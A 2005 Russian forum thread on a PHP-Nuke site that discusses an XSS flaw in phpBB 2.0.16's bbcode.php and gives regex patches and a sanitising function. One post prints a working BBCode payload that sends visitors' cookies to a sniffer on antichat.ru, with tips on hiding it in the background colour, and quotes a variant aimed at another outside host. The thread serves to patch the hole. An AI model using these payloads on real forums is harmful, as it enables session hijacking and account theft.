Forum. MyNuke.ru
Forum. MyNuke.ruСообщения за сегодняПерсональные сообщения

Навигация  
Вернуться   Forum. MyNuke.ru > PHP-NUKE > Безопасность > Уязвимости Защиты
Ник
Пароль
Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Soniks вне форума      Старый XSS tags в phpbb 2.0.16 #1  
Soniks
Администратор
Регистрация: 16.01.2005
Сообщения: 4,814


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Soniks Посетить домашнюю страницу Soniks Найти все сообщения от Soniks Добавить Soniks в список друзей  
06.07.2005, 20:54

Продукт: phpbb

Версия: 2.0.16 и ниже

Затронуты файлы: bbcode.php

Описание:
Уязвимость в phpbb форуме позволяет удаленному пользователю выполнить XSS нападение. Удаленный пользователь может вставить специально обработанную комбинацию BB тегов в сообщение форума, чтобы выполнить произвольный код в браузере пользователя, посетившего злонамеренное сообщение. Уязвимость может использоваться для похищения конфиденциальной информации пользователя (идентификатор сессии или куки).

Источник: http://antichat.ru/txt/phpbb/

Устранение:
Откройте файл includes/bbcode.php
Найдите (202):
PHP код:
 $patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is"

Замените на:
PHP код:
 $patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t\'\`\[\]<]*?)\[/url\]#is"

Найдите (206):
PHP код:
 $patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is"

Замените на:
PHP код:
 $patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t\'\`\[\]<]*?)\[/url\]#is"

Найдите (210):
PHP код:
 $patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is"

Замените на:
PHP код:
 $patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t\'\`\[\]<]*?)\]([^?\n\r\t].*?)\[/url\]#is"

Найдите (214):
PHP код:
 $patterns[] = "#\[url=((www|ftp)\.[^ `\"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is"

Замените на:
PHP код:
 $patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t\'\`\[\]<]*?)\]([^?\n\r\t].*?)\[/url\]#is"

Последний раз редактировалось Soniks, 14.07.2005 в 02:19.
 
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть".


Soniks вне форума      Старый #2  
Soniks
Администратор
Регистрация: 16.01.2005
Сообщения: 4,814


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Soniks Посетить домашнюю страницу Soniks Найти все сообщения от Soniks Добавить Soniks в список друзей  
14.07.2005, 02:21

забыл пофиксить 4-ю строку переправте, кто фиксил эту уязвимость и кто не фиксил
 
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть".


Master вне форума      Старый Лечим межсайтовый скриптинг в форуме PHPNuke!!! #3  
Аватара для Master
Master
Участник
Регистрация: 06.04.2005
Сообщения: 98


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Master Найти все сообщения от Master Добавить Master в список друзей  
18.07.2005, 02:08

Уязвимость в phpbb форуме (v.2.0.16) позволяет удаленному пользователю выполнить XSS нападение.
Удаленный пользователь может вставить специально обработанную комбинацию BB тегов в сообщение форума,
чтобы выполнить произвольный код в браузере пользователя,
посетившего злонамеренное сообщение.



Уязвимость может использоваться для похищения конфиденциальной информации пользователя (идентификатор сессии или куки).

Источники:
securitylab.ru/55612.html

Cyrpheus вне форума      Старый #4  
Аватара для Cyrpheus
Cyrpheus
Участник
Регистрация: 17.07.2005
Сообщения: 54


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Cyrpheus Найти все сообщения от Cyrpheus Добавить Cyrpheus в список друзей  
18.07.2005, 02:11

это знакомо.
только теги отображаются под оперой, а под Ie нет. уже старьё.
И кстати, для этого скрипта надо подбирать цвет под фоновый формного сообщения. Чтобы не было видно его. Вот так уганяются аккаунты под phpbb. :) Если честно - полезная штука .

Последний раз редактировалось Cyrpheus, 18.07.2005 в 02:13.
 
<!-- Богам свойственно ошибаться, а их ошибки свойственно исправлять человечеству /-->


Master вне форума      Старый #5  
Аватара для Master
Master
Участник
Регистрация: 06.04.2005
Сообщения: 98


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Master Найти все сообщения от Master Добавить Master в список друзей  
18.07.2005, 02:25

Эксплойт:
PHP код:
 [color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(  this.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color


Этот эксплоит отсылает куки пользователя на сниффер по адресу antichat.ru/cgi-bin/s.jpg.
Важно:
Весь код следует оставить одной строкой, т.к. перевод строки не допускается регулярным выражением в скрипте парсинга.
На месте ЦВЕТ_ФОНА следует вписать код фона в сообщении, применяемом в данной шкуре форума. Для стандартного subsilver это #EFEFEF. Это сделано для того, чтобы невооруженным глазом внедрение нашего сплоита не было заметно на других браузерах, где код хотя и воспринимается некорректно, практической пользы не принесет, а вместо этого выкенет в браузер длинную некрасивую ссылку.
Весь тест вашего комментария/новости следует писать выше внедряемого эксплоита, т.к. структура выходного HTML кода неправильна и весь последующий текст будет воспринят как ссылка.

После лечения вместо эксплойта мы получим
[error_url]www.ut[error_url=www.s=''style='font-size:0;color:red'style='top:expression(eval(this.s ss));'sss=#i=new/**/Image();i.src='http://wholesale.co.il/files/cook.php?'+document.cookie;this.sss=null#style='fo nt-size:0;][/url][/url]'

Теперь мы имеем защиту от "вложенных" URL в виде [error_url]
И запрет на использование ненужных нам символов, таких как обратные кавычки и т.д.
Теперь подобные шутки будет видно на раз.

Лечение:

Открыть includes/bbcode.php

Найти:
PHP код:
 // matches a [url]xxxx://www.phpbb.com[/url] code.. 
   
$patterns[] = "#\[url\]([\w]+?://[^ \"\n\r\t<]*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url1']; 

   
// [url]www.phpbb.com[/url] code.. (no xxxx:// prefix). 
   
$patterns[] = "#\[url\]((www|ftp)\.[^ \"\n\r\t<]*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url2']; 

   
// [url=xxxx://www.phpbb.com]phpBB[/url] code.. 
   
$patterns[] = "#\[url=([\w]+?://[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url3']; 

   
// [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix). 
   
$patterns[] = "#\[url=((www|ftp)\.[^ \"\n\r\t<]*?)\]([^?\n\r\t].*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url4']; 

Заменить на:
PHP код:
 // matches a [url]xxxx://www.phpbb.com[/url] code.. 
   
$patterns[] = "#\[url\]([\w]+?://[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url1']; 

   
// [url]www.phpbb.com[/url] code.. (no xxxx:// prefix). 
   
$patterns[] = "#\[url\]((www|ftp)\.[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url2']; 

   
// [url=xxxx://www.phpbb.com]phpBB[/url] code.. 
   
$patterns[] = "#\[url=([\w]+?://[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\]([^?\n\r\t].*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url3']; 

   
// [url=www.phpbb.com]phpBB[/url] code.. (no xxxx:// prefix). 
   
$patterns[] = "#\[url=((www|ftp)\.[a-z0-9\_\-\.\/\%\?\=\&\;\@\:\#]+)\]([^?\n\r\t].*?)\[/url\]#is"
   
$replacements[] = $bbcode_tpl['url4']; 

Найти:
PHP код:
 // Patterns and replacements for URL and email tags.. 
        
$patterns = array(); 


Перед ним добавить:
PHP код:
 // [url...[url exploit checking... 
        
$text check_url_exploit($text); 

В конце файла перед ?> добавить функцию:
PHP код:
 function check_url_exploit($text) { 
    
$offset=0
    while(
true) { 
        
$pos_open=strpos($text,'[url',$offset); 
        if (
$pos_open===false) { 
            break; 
        } else { 
            
$offset=$pos_open+1
        } 
        
$pos_next=strpos($text,'[url',$pos_open+1); 
        
$pos_close=strpos($text,'[/url',$pos_open+1); 

        if ((
$pos_next !== false) && ($pos_next $pos_close)) { 
            
$text substr($text,0,$pos_open) . 
                      
str_replace('[url','[error_url',substr($text,$pos_open,$pos_close-$pos_open)) . 
                      
substr($text,$pos_close); 
        } 
    } 
    return 
$text



Ну вот и все теперь жить можно спокойно

Soniks вне форума      Старый #6  
Soniks
Администратор
Регистрация: 16.01.2005
Сообщения: 4,814


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Soniks Посетить домашнюю страницу Soniks Найти все сообщения от Soniks Добавить Soniks в список друзей  
18.07.2005, 03:19

методика хорошая и позволит избежать других подобных эксплойтов!
 
"Если бы вам удалось надавать под зад человеку, виноватому в большинстве ваших неприятностей - вы бы неделю не смогли сидеть".


sid вне форума      Старый #7  
sid
Участник+
Регистрация: 14.07.2005
Сообщения: 123


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для sid Посетить домашнюю страницу sid Найти все сообщения от sid Добавить sid в список друзей  
18.07.2005, 03:30

хера вы ребята шпарите! и как вам это тока удаётся?????
 
by SiD :)


Cyrpheus вне форума      Старый #8  
Аватара для Cyrpheus
Cyrpheus
Участник
Регистрация: 17.07.2005
Сообщения: 54


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Cyrpheus Найти все сообщения от Cyrpheus Добавить Cyrpheus в список друзей  
18.07.2005, 04:47

sid А чего тут сложного? Главное не шляться где попало, а сразу знать, что то что ты сейчас вобъёшь в голову, пригодится в будущем. Так что качай книги в PDF фомате или ещё что-то и сиди, читай и практикуйся. Время решает всё и главнее всего опыт.
Sory за offtop....
 
<!-- Богам свойственно ошибаться, а их ошибки свойственно исправлять человечеству /-->


sid вне форума      Старый #9  
sid
Участник+
Регистрация: 14.07.2005
Сообщения: 123


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для sid Посетить домашнюю страницу sid Найти все сообщения от sid Добавить sid в список друзей  
18.07.2005, 12:31

сразу появляется вопрос!!!! почему в Pdf? мож где в Doc или Txt есть??????????
 
by SiD :)


Master вне форума      Старый #10  
Аватара для Master
Master
Участник
Регистрация: 06.04.2005
Сообщения: 98


Пожаловаться на это сообщениеОтветить с цитированием

Посмотреть профиль Отправить персональное сообщение для Master Найти все сообщения от Master Добавить Master в список друзей  
18.07.2005, 12:44

Cyrpheus sid
Народ прекращайте Оффтоп

Ответ


Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Выкл.
HTML код Выкл.
Быстрый переход



Часовой пояс GMT +4, время: 02:06.


На Верх
Рейтинг@Mail.ru